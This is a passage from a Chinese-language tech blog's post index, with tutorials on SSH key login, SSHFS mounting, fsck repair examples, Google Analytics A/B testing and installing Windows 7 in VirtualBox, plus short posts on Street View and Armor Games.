USER@HOST 將公開金鑰放在 Linux 伺服器上之後，就可以不用打密碼登入 Linux 了：\nssh USER@HOST Linux Server 在 Linux 伺服器的部份，如果要提高安全性，可以在伺服器上的 /etc/ssh/sshd_config 中修改以下的設定，停用密碼認證的登入方式，只允許金鑰認證：\nPasswordAuthentication no PubkeyAuthentication yes 這樣可以避免網路上一些亂猜密碼的攻擊。不過使用這樣的方式要先留意自己的金鑰是否設定正確，確認可以不需要密碼登入之後才進行這樣的設定，否則停用密碼登入之後，如果沒有金鑰或是沒有將公開金鑰放在伺服器上，就會完全無法登入該 Linux 伺服器。最後記得重新啟動 sshd：\n/etc/init.d/sshd restart 參考資料 Ubuntu Help DigitalOcean ","permalink":"https://blog.gtwang.org/linux/linux-ssh-public-key-authentication/","summary":"\u003cp\u003e這裡介紹 SSH 公開金鑰認證（Public Key Authentication）的使用方式，讓你不用打密碼就可以直接登入 Linux，既安全又方便。\u003c/p\u003e\n\u003cp\u003e如果你的 Linux 伺服器放在網際網路上，而且有開啟 SSH 登入的服務，這樣的情況一般都會建議使用公開金鑰認證的登入方式取代一般的密碼，這樣可以讓伺服器更安全也更方便。\u003c/p\u003e","title":"SSH 公開金鑰認證：不用打密碼登入 Linux 設定教學，安全又方便"},{"content":"Google 街景最近又推出新功能了，現在你可以在上面做時光旅行，瀏覽舊街道的景色。\n以前在使用 Google 街景（Street View）服務查看街道的照片時，他只會顯示最新的版本，不過現在推出一項新功能，讓使用者可以選擇拍攝的時間，讓你可以回顧以往舊街道的樣貌。\n現在當使用者使用街景服務時，只要你所查看的地點具有多個時間的照片，在畫面的左上角就會出現一個時光倒轉的小圖示，點選它之後就可以選擇要查看的時間點。\n在一些市區的重要道路上，通常會有比較多的照片版本可以選擇，如果碰到比較郊區的道路，只有一個時間點的照片的話，這個功能就不會出現。\n參考資料 Google Map Blog ","permalink":"https://blog.gtwang.org/funny/time-travel-with-google-maps/","summary":"\u003cp\u003eGoogle 街景最近又推出新功能了，現在你可以在上面做時光旅行，瀏覽舊街道的景色。\u003c/p\u003e\n\u003cp\u003e以前在使用 Google 街景（Street View）服務查看街道的照片時，他只會顯示最新的版本，不過現在推出一項新功能，讓使用者可以選擇拍攝的時間，讓你可以回顧以往舊街道的樣貌。\u003c/p\u003e","title":"以 Google 街景做時光旅行，瀏覽舊街道的景色"},{"content":"Armor Games 是一個提供大量線上小遊戲的網站，上面有許多不錯又免費的網頁遊戲可以玩。\n這個網站上蒐集了各類的線上遊戲，包含動作、冒險、益智、策略、射擊等，也有適用於手機的遊戲。\n名稱：Armor Games\n網址：https://armorgames.com/\n上面的每個遊戲都有標示出玩家的數目與評分，在挑選的時候可以參考一下，我個人都是選擇評分在 90 分以上的遊戲來玩。\n以下是我個人推薦（也常常在玩）的遊戲，給大家參考一下。\nKingdom Rrush Frontiers Kingdom Rrush Frontiers 是一個碉堡攻防戰的策略遊戲，不管是畫面與配樂都不錯，是我個人很喜歡的遊戲之一。\n名稱：Kingdom Rrush Frontiers\n網址：https://armorgames.com/play/15717/kingdom-rush-frontiers\nKingdom Rrush Frontiers 是 Kingdom Rush 的第二代，在上一代推出時，長期都列在 Popular Games ，而這一代看來也是如此。\nGemCraft Chasing Shadows GemCraft 是一個攻防戰的遊戲，其畫面與配樂很精緻，在熱門遊戲排行榜也是常常看到它。\nGemCraft 目前已經從 Armor Games 移除，想玩的人可以考慮 STEAM 平台的 GemCraft。\n這個遊戲也是出了好幾代的，在主選單上可以看到它的前兩代，分別為 GemCraft 0 與 GemCraft 1，若要玩最新的 Chasing Shadows，就選擇左邊的 Start Game。\n在進行遊戲時，玩家可以在右方控制面板中產生寶石（gem），然後把寶石放進畫面中的塔樓（tower）中，就可以對敵人進行攻擊。\n當寶石越來越多的時候，就可以將多顆寶石結合（combine），產生更高級的寶石，而寶石也有不同的屬性，結合不同的寶石也會有不同的效果。\n遊戲的內容是要跟黑暗勢力對抗，整體的設計很不錯，下雨時也會有雨聲。\n這款遊戲有許多的變化，有時候要花一些腦筋才能過關，算是很不錯的遊戲。\n","permalink":"https://blog.gtwang.org/game/online-armor-games/","summary":"\u003cp\u003eArmor Games 是一個提供大量線上小遊戲的網站，上面有許多不錯又免費的網頁遊戲可以玩。\u003c/p\u003e\n\u003cp\u003e這個網站上蒐集了各類的線上遊戲，包含動作、冒險、益智、策略、射擊等，也有適用於手機的遊戲。\u003c/p\u003e","title":"Armor Games：提供大量線上小遊戲的網站"},{"content":"SSHFS 是一個可以透過 SSH 協定掛載遠端硬碟的工具，使用上很方便，伺服器也不需要任何設定。\n一般如果想要遠端掛載 LInux 伺服器上的硬碟，傳統上都是使用 NFS 這類的方式，不過這類的方式會需要很多的設定，尤其是在伺服器端還會需要安裝許多 NFS 的套件，對於一般的使用者而言，如果臨時要用也是很麻煩，縱使知道如何安裝，如果自己沒有管理者權限的話，其實也是沒辦法使用。\nSSHFS 是一個以 SSH 為基礎的檔案系統，它可以讓你直接透過 SSH 掛載遠端 Linux 伺服器上的硬碟，由於現在的 Linux 伺服器幾乎都有支援 SSH，所以只要安裝一個簡單的 SSHFS client 工具之後，對於任何可以使用 SSH 登入的伺服器，都可以直接掛載上面的硬碟。\n以下介紹在 Linux、Mac OS X與 Windows 中安裝與使用 SSHFS 的方式。\nLinux 如果在 Ubuntu/Debian Linux 中，可以使用 apt-get 安裝\nsudo apt-get install sshfs 安裝完成後，就可以使用 sshfs 這個指令掛載遠端的硬碟了。\n使用時，先建立一個掛載用的目錄（這裡的目錄名稱可以任意指定）：\nmkdir remote_disk 接著執行\nsshfs NAME@HOST:/path/to/folder remote_disk 其中 NAME 是 SSH 登入的使用者名稱，HOST 是 Linux 伺服器的主機位址，/path/to/folder 是伺服器端要掛載的目錄位置，這些語法跟 scp 有點類似。\n掛載之後可以用 mount 指令查看掛載的狀況，如果有正確掛載的話，應該會看到類似這樣的輸出：\n[略] seal@your.host.com:/path/to/folder on /home/seal/remote_disk type fuse.sshfs (rw,nosuid,nodev,user=seal) 如果要卸載檔案系統，則使用 fusermount 指令：\nfusermount -u remote_disk Mac OS X 在 Mac OS X 鐘若要使用 SSHFS，可以使用 macFUSE，它可以讓你將遠端 Linux 伺服器上的硬碟掛載之後，跟 Mac OS X 的系統整合在一起。\n名稱：macFUSE\n網址：https://macfuse.github.io/\nWindows Windows 的使用者可以安裝 win-sshfs 這個 SSHFS client，以下是安裝與使用教學。\n名稱：win-sshfs\n網址：https://github.com/winfsp/sshfs-win\nStep 1\n下載下來的 win-sshfs-X.X.X.X-setup.exe 是一個安裝檔，直接執行它。安裝的時候還會再下載一些必要的套件。\n過程中會安裝 .NET Framework 4.0，這個要稍微等一下。\nStep 2\n安裝完 .NET Framework 之後，就會開始進入正是安裝的流程，點選「Next」。\nStep 3\n選擇「I accept the license agreement」，並點選「Next」。\nStep 4\n確認必要的套件，Dokan Library 在這裡沒有偵測到，接下來會自動安裝直接點選「Next」即可。\nStep 5\n確認安裝路徑，直接點選「Next」。\nStep 6\n安裝過程終會需要重新開機，點選「確定」後就會重新開機。\nStep 7\n重新開機後，系統會出現警告，選擇「是」繼續安裝。\nStep 8\n點選「Finish」就安裝完成了。\n啟動 win-sshfs 之後，在系統列會出現一個黃色的小圖示，點選他就可以開啟 win-sshfs 控制視窗。\nStep 9\n開啟 win-sshfs 控制視窗後，點選左下角的「Add」。\nStep 10\n設定掛載資訊：\nDrive Name：掛載名稱 Host：遠端伺服器的 IP 位址 Username：登入帳號 Password：密碼 Directory：伺服器上的目錄（要掛載回來的目錄） Drive Letter：在 Windows 中的掛載點 如果要讓它自動掛載，可以將「Mount at login」打勾。點選「Save」後就可以將設定儲存起來。\n最後再按下「Mount」，即可將遠端的硬碟掛載回來。\nStep 11\n掛載之後，在「電腦」中就會出現一個新的硬碟了，裡面的內容就會是遠端硬碟上的內容，而使用起來就跟一般的硬碟一樣。\nStep 12\n若要卸載遠端的檔案系統，只要點選右下角的「Unmount」即可。\n參考資料 macFUSE Wiki Digital Ocean Unixmen Tecmint ","permalink":"https://blog.gtwang.org/linux/sshfs-ssh-linux-windows-mac-os-x/","summary":"\u003cp\u003eSSHFS 是一個可以透過 SSH 協定掛載遠端硬碟的工具，使用上很方便，伺服器也不需要任何設定。\u003c/p\u003e\n\u003cp\u003e一般如果想要遠端掛載 LInux 伺服器上的硬碟，傳統上都是使用 NFS 這類的方式，不過這類的方式會需要很多的設定，尤其是在伺服器端還會需要安裝許多 NFS 的套件，對於一般的使用者而言，如果臨時要用也是很麻煩，縱使知道如何安裝，如果自己沒有管理者權限的話，其實也是沒辦法使用。\u003c/p\u003e","title":"SSHFS：透過 SSH 掛載遠端 Linux 伺服器上的硬碟（適用於 Windows、Mac OS X 與 Linux）"},{"content":"Linux 的 fsck 指令可以用來檢測或修復檔案系統，這裡蒐集了許多實用的範例。\nfsck 是 Linux 系統中常會使用到的硬碟檢測工具，它可以檢查檔案系統是否有錯誤，並且嘗試修復它，通常 Linux 系統每間隔一段時間就會自動使用 fsck 檢查一次檔案系統，而在平常如果檔案系統出問題時，管理者也會需要用到這個指令來處理這類的問題。\n以下是各種 fsck 的使用範例，透過這些例子可以很快了解如何使用 fsck 來檢查自己的硬碟資料，並且修正錯誤。\n在執行 fsck 時，請先確定硬碟是處於沒有被掛載（mount）的狀態下，以避免資料損毀的風險。\n磁碟分割區的檔案系統檢查 首先以 parted 察看磁碟分割表：\nparted /dev/sda \u0026#39;print\u0026#39; 輸出為\nNumber Start End Size Type File system Flags 1 1049kB 106MB 105MB primary fat16 diag 2 106MB 15.8GB 15.7GB primary ntfs boot 3 15.8GB 266GB 251GB primary ntfs 4 266GB 500GB 234GB extended 5 266GB 466GB 200GB logical ext4 6 467GB 486GB 18.3GB logical ext2 7 487GB 499GB 12.0GB logical fat32 lba 若要檢查 /dev/sda6 的檔案系統，則執行：\nfsck /dev/sda6 輸出為\nfsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6: clean, 95/2240224 files, 3793506/4476416 blocks 下面這些是各種 fsck 的傳回值所代表的意義：\n0：沒有錯誤。 1：檔案系統錯誤已修正。 2：系統需要重新開機。 4：檔案系統錯誤未修正。 8：操作錯誤。 16：使用方式錯誤。 32：使用者取消執行。 128：共享函式庫（shared library）錯誤。 不同的檔案系統 fsck 在執行時會依照不同的檔案系統，呼叫對應的內部檢查指令，這些對應的內部指令一般都放在 /sbin 下面。\ncd /sbin ls fsck* 輸出為\nfsck fsck.ext2 fsck.ext4 fsck.minix fsck.nfs fsck.cramfs fsck.ext3 fsck.ext4dev fsck.msdos fsck.vfat 從這些 fsck 的內部指令就可以看出來它支援哪些檔案系統，如果遇到不支援的檔案系統，它就會出現錯誤訊息，例如 ntfs：\nfsck /dev/sda2 輸出為\nfsck from util-linux 2.20.1 fsck: fsck.ntfs: not found fsck: error 2 while executing fsck.ntfs for /dev/sda2 一次檢查所有的檔案系統 如果想要一次檢查系統中所有的檔案系統，可以在執行 fsck 時加上 -A 參數，這樣它就會依照 /etc/fstab 中的 fs_passno 所指定的順序來檢查（如果 fs_passno 的值為 0 則跳過）。\n下面這個是 /etc/fstab 的內容：\n### proc /proc proc nodev,noexec,nosuid 0 0 ### / was on /dev/sda5 during installation /dev/sda5 / ext4 errors=remount-ro 0 1 ### /mydata was on /dev/sda6 during installation /dev/sda6 /mydata ext2 defaults 0 2 ### /backup was on /dev/sda7 during installation /dev/sda7 /backup vfat defaults 2 3 其中最後一個欄位就是 fs_passno，當執行\nfsck -A 的時候，就會依照 fs_passno 數值的順序來檢查。在檢查所有的檔案系統時，建議加上 -R 參數，跳過根目錄所在的檔案系統。\nfsck -AR -y 輸出為\nfsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6: clean, 95/2240224 files, 3793506/4476416 blocks dosfsck 3.0.12, 29 Oct 2011, FAT32, LFN /dev/sda7: 8 files, 50/1463400 clusters 這裡的 -y 參數，請參考下面的教學。\n檢查指定類型的檔案系統 在使用 -A 參數時，可以配合 -t 參數，指定要檢查的檔案系統類型，在這種情況下，fsck 就只會針對該類型的檔案系統進行檢查，如果不是屬於該類型的檔案系統則會被忽略。\n如果只要檢查 ext2 這個類型的檔案系統，則執行：\nfsck -AR -t ext2 -y 輸出為\nfsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6: clean, 11/2240224 files, 70327/4476416 blocks 由於所有的分割區中，只有 /dev/sda6 是屬於 ext2 的檔案系統，所以 fsck 只會檢查這個分割區。\n如果要排除某檔案系統類型，可以使用 no 來排除指定的類型，例如：\nfsck -AR -t noext2 -y 就會排除 ext2 這個類型，輸出為\nfsck from util-linux 2.20.1 dosfsck 3.0.12, 29 Oct 2011, FAT32, LFN /dev/sda7: 0 files, 1/1463400 clusters 跳過已掛載的檔案系統 使用 -M 參數可以讓 fsck 自動跳過系統上已經掛載的檔案系統，這樣可以避免不小心處理到已經掛載的分割區。\n我們可以使用\nmount | grep \u0026#34;/dev/sd*\u0026#34; 查看系統上各個檔案系統掛載的狀況\n/dev/sda5 on / type ext4 (rw,errors=remount-ro) /dev/sda6 on /mydata type ext2 (rw) /dev/sda7 on /backup type vfat (rw) 根據這裡的資訊，/dev/sda7 是一個已經被掛載的檔案系統，如果這時候對這個分割區執行\nfsck -M /dev/sda7 就不會有任何動作，而其傳回值為 0。\necho $? 輸出為\n0 避免輸出標題資訊 預設的狀況下，fsck 在一開始執行的時候，會輸出一些基本的訊息，例如\nfsck from util-linux 2.20.1 如果要避免這類的輸出，可以加上 -T 參數：\nfsck -TAR 輸出為\ne2fsck 1.42 (29-Nov-2011) /dev/sda6 is mounted. e2fsck: Cannot continue, aborting. dosfsck 3.0.12, 29 Oct 2011, FAT32, LFN /dev/sda7: 8 files, 50/1463400 clusters 強制檢查 Clean 的檔案系統 每當檔案系統被掛載成讀寫模式（rw）時，檔案系統狀態會被設定為 not-clean，而在檔案系統被成功卸載後，其狀態就會被設定回 clean。所以檔案系統沒有被成功卸載或者運作中途系統被中斷等，狀態就會維持在 not-clean，當檔案系統下次被檢查時，就可以由檔案系統狀態得知檔案系統是否有被正常卸載。\n在預設的狀況下，fsck 只會對狀態為 not-clean 的檔案系統進行檢查，如果碰到狀態為 clean 的檔案系統，就會很快地跳過：\nfsck /dev/sda6 輸出為\nfsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6: clean, 95/2240224 files, 3793503/4476416 blocks 如果想要讓它檢查 clean 的檔案系統，可以加上 -f 參數：\nfsck -f /dev/sda6 輸出為\nfsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) Pass 1: Checking inodes, blocks, and sizes Pass 2: Checking directory structure Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information /dev/sda6: 95/2240224 files (7.4% non-contiguous), 3793503/4476416 blocks 修正所有偵測到的錯誤 假設 /dev/sda6 中有一些檔案出問題：\nmount /dev/sda6 /mydata cd /mydata ls -li 輸出為\nls: cannot access test: Input/output error total 72 49061 -rw-r--r-- 1 root root 8 Aug 21 21:50 1 49058 -rw-r--r-- 1 root root 36864 Aug 21 21:24 file_with_holes 49057 -rw-r--r-- 1 root root 8192 Aug 21 21:23 fwh 11 drwxr-xr-x 2 root root 49152 Aug 19 00:29 lost+found 2060353 ?rwSr-S-wT 16 root root 4096 Aug 21 21:11 Movies ? -????????? ? ? ? ? ? test 這裡的 Movies 與 test 的檔案屬性有問題。\n如果加上 -y 參數，則在偵測到錯誤時，所有的問題都會以 yes 回答，進行修復：\nfsck -y /dev/sda6 輸出為\nfsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6 contains a file system with errors, check forced. Pass 1: Checking inodes, blocks, and sizes Inode 2060353 is a unknown file type with mode 0137642 but it looks like it is really a directory. Fix? yes Pass 2: Checking directory structure Entry 'test' in / (2) has deleted/unused inode 49059. Clear? yes Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information /dev/sda6: ***** FILE SYSTEM WAS MODIFIED ***** /dev/sda6: 96/2240224 files (7.3% non-contiguous), 3793508/4476416 blocks 不要修復任何錯誤 如果不想修復任何的問題，只想得到問題的資訊，可以加上 -n，讓所有的問題都以 no 回答。\n假設 /dev/sda6 的資料有些問題：\nmount /dev/sda6 /mydata cd /mydata ls -lrt 輸出為\ntotal 64 drwxr-xr-x 2 root root 49152 Aug 19 00:29 lost+found ?--xrwx-wx 16 root root 4096 Aug 21 21:11 Movies ?-----x-wx 1 root root 8192 Aug 21 21:23 fwh -rw-r--r-- 1 root root 36864 Aug 21 21:24 file_with_holes -rw-r--r-- 1 root root 8 Aug 21 21:50 1 如果只想要得到問題的資訊，而不想直接修復，則執行：\nfsck -n /dev/sda6 輸出為\nfsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6 contains a file system with errors, check forced. Pass 1: Checking inodes, blocks, and sizes Inode 2060353 is a unknown file type with mode 0173 but it looks like it is really a directory. Fix? no Inode 2060353, i_blocks is 8, should be 0. Fix? no Pass 2: Checking directory structure Inode 2060353 (/Movies) has invalid mode (0173). Clear? no Inode 49057 (/fwh) has invalid mode (013). Clear? no Entry 'fwh' in / (2) has an incorrect filetype (was 1, should be 0). Fix? no Pass 3: Checking directory connectivity Unconnected directory inode 65409 (???) Connect to /lost+found? no '..' in ... (65409) is ??? (2060353), should be (0). Fix? no Unconnected directory inode 2076736 (???) Connect to /lost+found? no Pass 4: Checking reference counts Inode 2 ref count is 4, should be 3. Fix? no Inode 65409 ref count is 3, should be 2. Fix? no Inode 2060353 ref count is 16, should be 15. Fix? no Unattached inode 2060354 Connect to /lost+found? no Pass 5: Checking group summary information Block bitmap differences: -(164356--164357) -4149248 Fix? no Directories count wrong for group #126 (1, counted=0). Fix? no /dev/sda6: ********** WARNING: Filesystem still has errors ********** /dev/sda6: 96/2240224 files (7.3% non-contiguous), 3793508/4476416 blocks 自動修復錯誤 如果要讓 fsck 自動修復偵測到的問題，可以加上 -a 參數：\nfsck -a -AR 這樣就會自動修復那些比較沒有風險的問題。如果遇到需要管理者確認的問題，fsck 就會輸出這樣的訊息：\nfsck -a /dev/sda6 輸出為\nfsck from util-linux 2.20.1 /dev/sda6 contains a file system with errors, check forced. /dev/sda6: Inode 2060353 is a unknown file type with mode 0173 but it looks like it is really a directory. /dev/sda6: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY. (i.e., without -a or -p options) 並且傳回 4：\necho $? 輸出為\n4 如果遇到這樣的狀況，可以使用上面介紹的 -y 參數：\nfsck -y /dev/sda6 輸出為\nfsck from util-linux 2.20.1 e2fsck 1.42 (29-Nov-2011) /dev/sda6 contains a file system with errors, check forced. Pass 1: Checking inodes, blocks, and sizes Inode 2060353 is a unknown file type with mode 0173 but it looks like it is really a directory. Fix? yes Pass 2: Checking directory structure Inode 49057 (/fwh) has invalid mode (013). Clear? yes Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information Block bitmap differences: -(164356--164357) Fix? yes Free blocks count wrong for group #5 (0, counted=2). Fix? yes Free blocks count wrong (682908, counted=682910). Fix? yes /dev/sda6: ***** FILE SYSTEM WAS MODIFIED ***** /dev/sda6: 95/2240224 files (7.4% non-contiguous), 3793506/4476416 blocks 參考資料 The Geek Stuff MTE ","permalink":"https://blog.gtwang.org/linux/linux-fsck-examples/","summary":"\u003cp\u003eLinux 的 \u003ccode\u003efsck\u003c/code\u003e 指令可以用來檢測或修復檔案系統，這裡蒐集了許多實用的範例。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003efsck\u003c/code\u003e 是 Linux 系統中常會使用到的硬碟檢測工具，它可以檢查檔案系統是否有錯誤，並且嘗試修復它，通常 Linux 系統每間隔一段時間就會自動使用 \u003ccode\u003efsck\u003c/code\u003e 檢查一次檔案系統，而在平常如果檔案系統出問題時，管理者也會需要用到這個指令來處理這類的問題。\u003c/p\u003e","title":"fsck 指令範例教學，Linux 檢查與修復硬碟檔案系統的工具"},{"content":"Google Analytics 的內容實驗（Content Experiments）功能可以幫助網站進行 A/B 測試，比較不同網頁版本的成效，這裡介紹不需要重新導向網頁的測試方式。\nGoogle Analytics 在 2012 年將 Website Optimizer 整合之後，提供了一項新的實驗（Experiments）功能，除了可以進行一般的 A/B 測試之外，還可以進行更為複雜的內容實驗，這個部分請參考 Google 官方的中文說明文件，裡面有很詳細的操作教學與基本的統計理論說明。\nGoogle 最佳化工具已於 2023 年 9 月停用，本文內容已無法實作。\n一般用法 若依照「內容實驗」介面中所介紹的使用方式，在設定時必須指定原始頁（original page）與變化版本（variation）的網址，透過 Analytics 所產生的 JavaScript 將流量以重新導向的方式，分配至不同的版本上。\n這樣的方式比較適合用於一般流量比較大的靜態網頁，像 Blogger 部落格這類使用範本（template）的環境中，如果想要對範本的更動進行測試，就比較難使用這種固定網址的方式，因為單張網頁的流量通常會不太夠（除非你的部落格真的非常熱門）。\n而除了使用固定網址之外，還有另外一種方式就是使用相對網址（relative）來指定變化版本的位置，這種做法就可以用於 Blogger 這樣的環境，例如將原始頁指定為 www.gtwang.org，而變化版本的網址則是定為 ?var=1，然後再使用 JavaScript 抓出 URL 裡面的 var 這個變數，判斷要產生哪一種版本的網頁內容。\n雖然這樣的方式可以運作，但是缺點是變化版本的網頁會有一個重新導向的動作，而且既然都已經要使用 JavaScript 了，其實直接改用 API 自行撰寫測試程式碼，直接以 JavaScript 產生各種版本會更直接、更有效率。\nAPI 用法 這裡我們改用內容實驗（Content Experiments）API 的方式，自己撰寫測試用的 JavaScript 程式碼，以下是實作步驟。\nStep 1\n在進行實驗之前，有一些事前準備要先做好，例如設定目標與設計不同樣式的網頁內容等，請參考 Analytics 說明的。\nStep 2\n開啟 Analytics 的報表網頁，在左邊的「行為」選單中，點選「實驗」，然後點選「建立實驗」。\nStep 3\n設定實驗的名稱、目標與流量的百分比。流量的百分比就是指要讓多少比例的訪客參與這個實驗。\n填好之後，按下「下一步」。\nStep 4\n這一步是設定實驗的原始頁與變化版本的網址，因為我們要自己使用 API 來撰寫 JavaScript 程式進行測試，所以這裡的網址其實都沒有用，原始頁直接填自己的首頁就好了，變化版本則是隨便填一個不一樣的網址即可。\n如果想要一次測試多個不同的變化版本，則點選「新增變化版本」，網址一樣隨便填。\n填好之後，按下「下一步」。\nStep 5\n按下「手動插入程式碼」。\nStep 6\n這時候會出現 Analytics 自動產生的 JavaScript，但是這些對我們沒有用，我們需要的是下面的「實驗編號」，請把它複製起來。\n接著按下「下一步」。\nStep 7\n這裡會出現無法驗證的問題，這是正常的，直接按下「開始實驗」。\nStep 8\n確認實驗開始，按下「是」。\nStep 9\n這樣就完成設定了。\nStep 10\n撰寫測試用的 JavaScript 程式碼，首先載入 Content Experiment JavaScript API，並且讓它選擇要顯示的版本：\n\u0026lt;!-- 載入 Content Experiment JavaScript API --\u0026gt; \u0026lt;script src=\u0026#34;//www.google-analytics.com/cx/api.js?experiment=YOUR_EXPERIMENT_ID\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; // 讓 Google Analytics 選擇要顯示的版本 var chosenVariation = cxApi.chooseVariation(); \u0026lt;/script\u0026gt; 這裡的 chosenVariation 是一個整數，不同的數字代表不同的版本，0 代表原始版本，1 代表第一個變化版本，以此類推。另外 YOUR_EXPERIMENT_ID 就是剛剛上面由 Analytics 網頁所產生的實驗編號，把自己的編號替換上去即可。\n接著依照 chosenVariation 的數值產生指定版本的網頁內容，這個部分就很彈性了，以下是官方的 JavaScript 範例，不過不一定要依照這樣的方式，你可以使用自己喜歡的方式，只要可以產生正確的網頁內容即可。\n\u0026lt;!-- 載入 JQuery library --\u0026gt; \u0026lt;script src=\u0026#34;//ajax.googleapis.com/ajax/libs/jquery/2.0.0/jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; // 定義每一個版本所要執行的 JavaScript 程式碼 var pageVariations = [ function() {}, // 原始版本，不做任何動作 function() { // 變化版本 1 document.getElementById(\u0026#39;banner\u0026#39;).src = \u0026#39;bay-bridge.jpg\u0026#39;; }, function() { // 變化版本 2: Sub-heading Text document.getElementById(\u0026#39;heading\u0026#39;).innerHTML = \u0026#39;Look, a Bridge!\u0026#39;; }, function() { // 變化版本 3: Button Text document.getElementById(\u0026#39;button\u0026#39;).innerHTML = \u0026#39;Learn more\u0026#39;; }, function() { // 變化版本 4: Button Color document.getElementById(\u0026#39;button\u0026#39;).className = \u0026#39;button button-blue\u0026#39;; } ]; // 等待 DOM 載入 $(document).ready( // 執行指定版本所對應的 JavaScript 程式碼 pageVariations[chosenVariation] ); \u0026lt;/script\u0026gt; Step 11\n最後再加上 Google Analytics 的程式碼，如果網頁本來就已經有安裝 Analytics 的話，就可以跳過。\n\u0026lt;script\u0026gt; (function(i,s,o,g,r,a,m){i[\u0026#39;GoogleAnalyticsObject\u0026#39;]=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,\u0026#39;script\u0026#39;,\u0026#39;//www.google-analytics.com/analytics.js\u0026#39;,\u0026#39;ga\u0026#39;); ga(\u0026#39;create\u0026#39;, \u0026#39;UA-XXXXXXXX-X\u0026#39;, \u0026#39;auto\u0026#39;); ga(\u0026#39;send\u0026#39;, \u0026#39;pageview\u0026#39;); \u0026lt;/script\u0026gt; 這裡要注意一點，內容實驗的資料會在 Analytics 傳送資料時一併傳給 Google 來分析，所以必須確保 Analytics 的傳送動作要在 cxApi.chooseVariation() 之後，這樣才能順利傳送內容實驗的資料。最簡單的方式就是把 Analytics 所有的程式碼放在剛剛上面這些程式碼的下方，就樣就可以了。\n這裡提醒一點，如果要將 JavaScript 程式碼放在 Blogger 部落格的範本，除了使用 \u0026lt;script\u0026gt; 標簽之外，還要記得要用 CDATA 包起來，這樣才不會造成 Blogger 解析上的錯誤：\n\u0026lt;script type=\u0026#39;text/javascript\u0026#39;\u0026gt;/\\*\u0026lt;![CDATA[\\*/ // JavaScript 程式碼放在這裡 /\\*]]\u0026gt;\\*/\u0026lt;/script\u0026gt; 將 JavaScript 程式碼加入至網頁之後，就會開始收集內容實驗的資料，由於 Analytics 的網頁上並不會顯示即時的資料，所以通常要等到隔天才會開始看到收集到的資訊。\n分析測試結果 基本上只要將網頁的 JavaScript 程式碼設定正確之後，接下來 Analytics 就會自動收集資料，並且計算 A/B 測試的結果，不過前提是網頁流量要夠，如果你的網頁流量不足，要想達到統計學上的顯著性差異（significance difference），會需要非常久的時間。\n在經過一段時間的實驗資料收集之後，你就可以在 Analytics 的實驗報表中看到類似這樣的圖：\n這張圖你就可以看出不同的版本之間成效的差異，Analytics 也會根據收集到的數據，計算「成效超越原始版本的可能性」。\n在預設的狀況下，實驗會至少進行兩週，超過兩週之後如果「成效超越原始版本的可能性」超過了 95%（兩週與 95% 這兩個數值也可以自行調整），則宣布該版本勝出，並停止實驗，其他還有比較複雜的情況請參考多選項吃角子老虎機器實驗的說明。\n如果你不想花時間研究這些統計理論，其實也沒關係，反正 Analytics 會自動根據統計理論與一般公認為合理的方式自動決定什麼時候應該停止實驗，你只要給他足夠的流量，剩下的就是看報表了。\n","permalink":"https://blog.gtwang.org/web-development/google-analytics-content-experiments-api-ab-testing/","summary":"\u003cp\u003eGoogle Analytics 的內容實驗（Content Experiments）功能可以幫助網站進行 A/B 測試，比較不同網頁版本的成效，這裡介紹不需要重新導向網頁的測試方式。\u003c/p\u003e","title":"以 Google Analytics 內容實驗（Content Experiments）API 進行 A/B 測試（A/B Testing）"},{"content":"這裡介紹如何在 Mac OS X 系統中，以 VirtualBox 安裝 Windows 7，讓你可以同時使用兩種作業系統。\n一般 Mac OS X 的使用者如果要同時使用 Windows，最常見的做法就是安裝 Parallel Desktop 這套軟體，雖然這個軟體非常好用，但它是付費的商業軟體，如果不想額外花錢，可以改用 VirtualBox，雖然它可能不像 Parallel Desktop 功能那麼強大，不過至少基本的功能都有，還算勘用。\n雖然這裡的教學是在 Mac OS X 做示範的，不過因為 VirtualBox 也支援 Windows 與 Linux 平台，所以如果你想要在其他的 Windows 或 Linux 中安裝，也沒有問題，操作的步驟大致上也都一樣。\n以下是在 Mac OS X 中使用 VirtualBox 安裝 Windows 7 企業版的過程教學。\nStep 1\n首先如果你的系統沒有安裝 ViratualBox，就要先去他的官方網站下載並安裝。下載時請選擇適合自己作業系統的版本，這裡我們以 Mac OS X 做示範。\nStep 2\n安裝完 VirtualBox 後，就直接執行它，在安裝 Windows 7 之前，要先建立新的虛擬機器，點選 VirtualBox 左上角的「新增」按鈕。\nStep 3\n設定虛擬機器的名稱、類型與版本，並且調整記憶體大小。這裡的記憶體大小要調多大就要看個人的需求與電腦的配備，如果你需要用這個 Window 7 做很多事情，就可以調大一些，不過也要留一些給原來的系統使用。\n設定好之後，按下「建立」。\nStep 4\n設定硬碟檔案，這裡若沒有特殊需求，就使用預設值即可，直接按下「建立」。\nStep 5\n建立好虛擬機器之後，就會出現在左邊的列表中，用滑鼠點兩下就可以啟動它。\nStep 6\n虛擬機器第一次啟動時，會詢問安裝光碟的位置，預設會使用電腦上的光碟機（Host Drive），如果你有 Windows 7 的光碟片，這時候就可以放進去，然後按下「Start」開始安裝。\n如果要使用 ISO 影像檔來安裝，可以點選右方資料夾的小圖示，瀏覽 ISO 檔的位置。\n不管是使用實體光碟或是 ISO 檔，對 VirtualBox 來說都是一樣的。\nStep 7\n接著就會使用光碟或 ISO 檔開機，進行安裝的動作。\nStep 8\n設定語言、時間與輸入法。\nStep 9\n直接點選「立即安裝」。\nStep 